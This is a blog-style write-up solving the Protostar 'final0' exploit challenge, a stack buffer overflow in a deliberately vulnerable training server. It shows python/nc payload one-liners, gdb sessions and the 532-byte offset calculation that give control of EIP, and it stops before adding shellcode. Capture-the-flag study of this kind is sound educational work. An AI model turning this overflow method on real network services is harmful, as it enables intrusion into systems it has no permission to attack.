Protostar Exploit Challenges Final0 Solution


This challenge builds on two of our previous challenges. We must send data over the network to perform a traditional stack overflow.


I began by running the server in gdb with the command set follow-fork-mode child so that I could see what was going on in the forked process. I then ran the command:

python -c ‘print “A”*700’ | nc 2995

This caused the server to segfault:

(gdb) run
Starting program: /opt/protostar/bin/final0
[New process 24399]
[New process 24402]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 24402]
0x41414141 in ?? ()

What this tells me is that this is a straightforward buffer overflow with no special frills attached. We have direct control of EIP. Next was to calculate the offset between our buffer and the return address. I determined the return address by setting a breakpoint in main directly before the call to get_username and then stepping into it. After the step I examined the top of the stack.

Breakpoint 2, main (argc=1, argv=0xbffff884, envp=0xbffff88c)
at final0/final0.c:50
50 in final0/final0.c
(gdb) x/i $eip
0x8049874 <main+65>: call 0x804975a <get_username>
(gdb) x/4x $esp
0xbffff7b0: 0x00000006 0x00000000 0x00000000 0xbffff7d8
(gdb) stepi
[tcsetpgrp failed in terminal_inferior: No such process]
get_username () at final0/final0.c:13
13 in final0/final0.c
(gdb) x/4x $esp
0xbffff7ac: 0x08049879 0x00000006 0x00000000 0x00000000

This allowed me to determine the address of the return pointer was at 0xbffff7ac. After noting that, I set a breakpoint on gets. The argument to gets would be a pointer to our buffer. I checked this in the same manner:

Breakpoint 7 at 0x804978b: file final0/final0.c, line 19.
(gdb) x/i $eip
0x804978b <get_username+49>: call 0x8048aac <gets@plt>
(gdb) x/x $esp
0xbffff580: 0xbffff598
(gdb) nexti
[tcsetpgrp failed in terminal_inferior: No such process]
22 in final0/final0.c
(gdb) nexti
0x08049798 22 in final0/final0.c
(gdb) x/i $eip
0x8049798 <get_username+62>: lea eax,[ebp-0x210]
(gdb) x/40x 0xbffff598
0xbffff598: 0x41414141 0x41414141 0x41414141 0x41414141

From here I determined the address of the pointer was 0xbffff598. Subtracting the two addresses gives you an offset of 532. To test this I put Bs in the 4 bytes I suspected to be the return address:

Attacker Computer
user@protostar:~$ python -c ‘print “A”*532 + “B”*4’ | nc 2995

Server Computer
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

This worked. We can now control the EIP. I haven’t added shellcode here, but it’s a trivial step with a buffer this large. It pretty much consists of stick it somewhere on the stack and jump to it.


Leave a Reply